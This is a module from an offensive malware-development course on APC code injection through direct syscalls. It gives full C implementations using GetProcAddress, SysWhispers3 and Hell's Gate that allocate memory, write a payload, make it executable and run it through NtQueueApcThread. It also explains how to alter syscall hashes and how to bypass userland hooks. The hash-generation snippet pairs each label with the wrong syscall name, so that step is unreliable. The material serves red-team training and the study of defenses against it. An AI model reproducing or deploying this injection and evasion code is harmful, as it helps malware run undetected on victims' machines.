69. Syscalls - Reimplementing APC Injection

Syscalls - Reimplementing APC Injection

Introduction

This module implements the APC Injection technique using direct syscalls, replacing WinAPIs with their syscall equivalent. Memory allocation and writing the payload will be done using NtAllocateVirtualMemoryNtProtectVirtualMemory and NtWriteVirtualMemory which were already discussed in the reimplementation of classic injection. The remaining syscall that will be explained is NtQueueApcThread.

NtQueueApcThread

This is the resulting syscall from the QueueUserAPC WinAPI. NtQueueApcThread is shown below.

NTSTATUS NtQueueApcThread(
  IN HANDLE               ThreadHandle,                 // A handle to the thread to run the specified APC
  IN PIO_APC_ROUTINE      ApcRoutine,                   // Pointer to the application-supplied APC function to be executed
  IN PVOID                ApcRoutineContext OPTIONAL,   // Pointer to a parameter (1) for the APC (set to NULL)
  IN PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,      // Pointer to a parameter (2) for the APC (set to NULL)
  IN ULONG                ApcReserved OPTIONAL          // Pointer to a parameter (3) for the APC (set to NULL)
);

The first two parameters are self-explanatory. The remaining three, ApcRoutineContextApcStatusBlock and ApcReserved are used as parameters for the APC function, ApcRoutine.

Creating An Alertable Thread

Since the APC Injection technique requires a thread in an alertable state, this will be provided using the CreateThread WinAPI. The AlterableFunction function will be called by the sacrificial thread.

VOID AlterableFunction() {

  HANDLE	hEvent = CreateEvent(NULL, NULL, NULL, NULL);

  MsgWaitForMultipleObjectsEx(
		1,
		&hEvent,
		INFINITE,
		QS_HOTKEY,
		MWMO_ALERTABLE
	);

}

Implementation Using GetProcAddress and GetModuleHandle

Syscall structure is created and initialized using InitializeSyscallStruct, which holds the addresses of the syscalls used, as shown below.

// A structure used to keep the syscalls used
typedef struct _Syscall {

	fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
	fnNtProtectVirtualMemory  pNtProtectVirtualMemory;
	fnNtWriteVirtualMemory    pNtWriteVirtualMemory;
	fnNtQueueApcThread        pNtQueueApcThread;

}Syscall, * PSyscall;


// Function used to populate the input 'St' structure
BOOL InitializeSyscallStruct(OUT PSyscall St) {

	HMODULE hNtdll =  GetModuleHandle(L"NTDLL.DLL");
	if (!hNtdll) {
		printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	St->pNtAllocateVirtualMemory  = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
	St->pNtProtectVirtualMemory   = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
	St->pNtWriteVirtualMemory     = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
	St->pNtQueueApcThread         = (fnNtQueueApcThread)GetProcAddress(hNtdll, "NtQueueApcThread");

    // check if GetProcAddress missed a syscall
	if (St->pNtAllocateVirtualMemory == NULL || St->pNtProtectVirtualMemory == NULL || St->pNtWriteVirtualMemory == NULL || St->pNtQueueApcThread == NULL)
		return FALSE;
	else
		return TRUE;
}

Next, the ApcInjectionViaSyscalls function will be responsible for allocating, writing and executing the payload, pPayload, in the target process, hProcess. It will use the sacrificial thread's handle, hThread. The function returns FALSE if it fails to execute the payload and TRUE if it succeeds.

BOOL ApcInjectionViaSyscalls(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

	Syscall     St                      = { 0 };
	NTSTATUS    STATUS                  = NULL;
	PVOID       pAddress                = NULL;
	ULONG       uOldProtection          = NULL;
	SIZE_T      sSize                   = sPayloadSize,
	            sNumberOfBytesWritten   = NULL;

	// Initializing the 'St' structure to fetch the syscall's addresses
	if (!InitializeSyscallStruct(&St)) {
		printf("[!] Could Not Initialize The Syscall Struct \n");
		return FALSE;
	}


	// Allocating memory
	if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
		printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);

//--------------------------------------------------------------------------

	// Writing the payload
	printf("[#] Press <Enter> To Write The Payload ... ");
	getchar();
	printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
	if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
		printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
		printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
		return FALSE;
	}
	printf("[+] DONE \n");

//--------------------------------------------------------------------------

	// Changing the memory's permissions to RWX
	if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
		printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

//--------------------------------------------------------------------------

	// Executing the payload via NtQueueApcThread

	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();
	printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
	if ((STATUS = St.pNtQueueApcThread(hThread, pAddress, NULL, NULL, NULL)) != 0) {
		printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] DONE \n");

	return TRUE;
}

Implementation Using SysWhispers

The implementation here uses SysWhispers3 to bypass userland hooks via direct syscalls. The following command is used to generate the required files for this implementation.

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread -o SysWhispers -v

Three files are generated: SysWhispers.hSysWhispers.c and SysWhispers-asm.x64.asm. The next step is to import these files into Visual Studio as demonstrated previously. ApcInjectionViaSyscalls is shown below.

BOOL ApcInjectionViaSyscalls(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

	Syscall     St                      = { 0 };
	NTSTATUS    STATUS                  = NULL;
	PVOID       pAddress                = NULL;
	ULONG       uOldProtection          = NULL;
	SIZE_T      sSize                   = sPayloadSize,
	            sNumberOfBytesWritten   = NULL;

	// Allocating memory
	if ((STATUS = NtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
		printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);

//--------------------------------------------------------------------------

	// Writing the payload
	printf("[#] Press <Enter> To Write The Payload ... ");
	getchar();
	printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
	if ((STATUS = NtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
		printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
		printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
		return FALSE;
	}
	printf("[+] DONE \n");


//--------------------------------------------------------------------------

	// Changing the memory's permissions to RWX
	if ((STATUS = NtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
		printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

//--------------------------------------------------------------------------

	// Executing the payload via NtQueueApcThread

	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();
	printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
	if ((STATUS = NtQueueApcThread(hThread, pAddress, NULL, NULL, NULL)) != 0) {
		printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] DONE \n");

	return TRUE;
}

Implementation Using Hell's Gate

The last implementation for this module is using Hell's Gate. First, ensure that the same steps done to set up the Visual Studio project with SysWhispers3 are done here too. Specifically, enabling MASM and modifying the properties to set the ASM file to be compiled using the Microsoft Macro Assembler.

Updating The VX_TABLE Structure

typedef struct _VX_TABLE {
	VX_TABLE_ENTRY NtAllocateVirtualMemory;
	VX_TABLE_ENTRY NtWriteVirtualMemory;
	VX_TABLE_ENTRY NtProtectVirtualMemory;
	VX_TABLE_ENTRY NtQueueApcThread;
} VX_TABLE, * PVX_TABLE;

Updating Seed Value

A new seed value will be used to replace the old one to change the hash values of the syscalls. The djb2 hashing function is updated with the new seed value below.

DWORD64 djb2(PBYTE str) {
	DWORD64 dwHash = 0x77347734DEADBEEF; // Old value: 0x7734773477347734
	INT c;

	while (c = *str++)
		dwHash = ((dwHash << 0x5) + dwHash) + c;

	return dwHash;
}

The following printf statements should be added to a new project to generate the djb2 hash values.

printf("#define %s%s 0x%p \n", "NtAllocateVirtualMemory", "_djb2", (DWORD64)djb2("NtCreateSection"));
printf("#define %s%s 0x%p \n", "NtWriteVirtualMemory", "_djb2", djb2("NtMapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtProtectVirtualMemory", "_djb2", djb2("NtUnmapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtQueueApcThread", "_djb2", djb2("NtClose"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));

Once the values are generated, add them to the start of the Hell's Gate project.

#define NtAllocateVirtualMemory_djb2 0x7B2D1D431C81F5F6#define NtWriteVirtualMemory_djb2    0x54AEE238645CCA7C#define NtProtectVirtualMemory_djb2  0xA0DCC2851566E832#define NtQueueApcThread_djb2        0x331E6B6B7E696022

Updating The Main Function

The main function must be updated to use the ApcInjectionViaSyscalls function instead of the payload function. The function will use the above-generated hashes as shown below.


BOOL ApcInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

	Syscall     St                      = { 0 };
	NTSTATUS    STATUS                  = NULL;
	PVOID       pAddress                = NULL;
	ULONG       uOldProtection          = NULL;
	SIZE_T      sSize                   = sPayloadSize,
	            sNumberOfBytesWritten   = NULL;

	// Allocating memory
	HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
	if ((STATUS = HellDescent(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
		printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);

//--------------------------------------------------------------------------

	// Writing the payload
	printf("[#] Press <Enter> To Write The Payload ... ");
	getchar();
	printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
	HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall);
	if ((STATUS = HellDescent(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
		printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
		printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
		return FALSE;
	}
	printf("[+] DONE \n");

//--------------------------------------------------------------------------

	// Changing the memory's permissions to RWX
	HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
	if ((STATUS = HellDescent(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
		printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

//--------------------------------------------------------------------------

	// Executing the payload via NtQueueApcThread

	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();
	printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
	HellsGate(pVxTable->NtQueueApcThread.wSystemCall);
	if ((STATUS = HellDescent(hThread, pAddress, NULL, NULL, NULL)) != 0) {
		printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] DONE \n");


	return TRUE;
}

Remote Injection

It's possible to use the ApcInjectionViaSyscalls function for remote process injection but to do so a suspended process must be created. This approach was discussed in the Early Bird APC Queue Code Injection module.

Demo

Using SysWhispers implementation.

Using Hell's Gate implementation.